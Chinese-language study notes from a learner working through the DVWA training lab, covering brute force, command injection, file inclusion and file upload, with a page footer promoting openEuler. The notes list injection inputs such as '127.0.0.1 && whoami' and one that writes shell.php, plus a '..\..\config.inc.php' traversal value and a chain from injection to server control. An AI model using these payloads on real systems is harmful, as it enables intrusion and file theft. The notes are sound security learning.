这周搭建DVWA靶场和了解4个漏洞,分别是暴力破解(最朴实无华的方法,反复排列组合密码去试),命令注入(输入框里拼接系统命令,让服务器执行),文件包含(修改URL参数,如服务器读取任意文件),文件上传(上传恶意脚本并访问,控制服务器)。学到这里,我能想的攻击方式就是文件上传恶意文件再用命令读取来攻击。文件包含就是搜集信息的。暴力破解就是最简单获取权限的途径。

这是这周的笔记:

文件包含:引入外部文件来复用代码,减少代码的冗余。

文件包含
本地包含(攻击者用命令修改未做防护的网络路径,拿到自己想要的信息)
配合文件上传
配合日志文件进行包含
远程包含

防护:
- 使用白名单,限制可读取的文件范围
- 过滤用户输入中的 ../ 和 ..\
- 使用 basename() 函数只取文件名,忽略路径部分

../用于linux的返回上一路径,..\用于Windows的路径返回
# 文件包含漏洞实战(DVWA Low)

## 攻击链条
命令注入(写文件)→ 文件包含(执行代码)→ 控制服务器

补充:

修改文件保存的时候一定要加"",选择所有文件,不然有些会自动加txt后缀。

验证命令注入

| 命令 | 作用 | 示例 |
| `whoami` | 查看当前用户 | `127.0.0.1 && whoami` |
| `echo 文字` | 显示文字 | `127.0.0.1 && echo SUCCESS` |

信息收集

| 命令 | 作用 | 示例 |
| `echo %cd%` | 查看当前目录 | `127.0.0.1 && echo %cd%` |
| `dir` | 列出文件列表 | `127.0.0.1 && dir` |
| `type 文件名` | 查看文件内容 | `127.0.0.1 && type test.txt` |

文件操作

| 命令 | 作用 | 示例 |
| `echo 内容 > 文件` | 创建文件 | `127.0.0.1 && echo TEST > shell.php` |

 命令拼接与路径

| 符号 | 作用 | 示例 |
| `&&` | 拼接命令 | `ping 127.0.0.1 && whoami` |
| `..\` | 返回上级目录 | `?page=..\..\config.inc.php` |


Windows与Linux的区别

| 操作 | Windows | Linux |
| 查看用户 | `whoami` | `whoami` |
| 查看文件 | `type` | `cat` |
| 列出目录 | `dir` | `ls` |
| 当前目录 | `echo %cd%` | `pwd` |
| 上级目录 | `..\` | `../` |

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐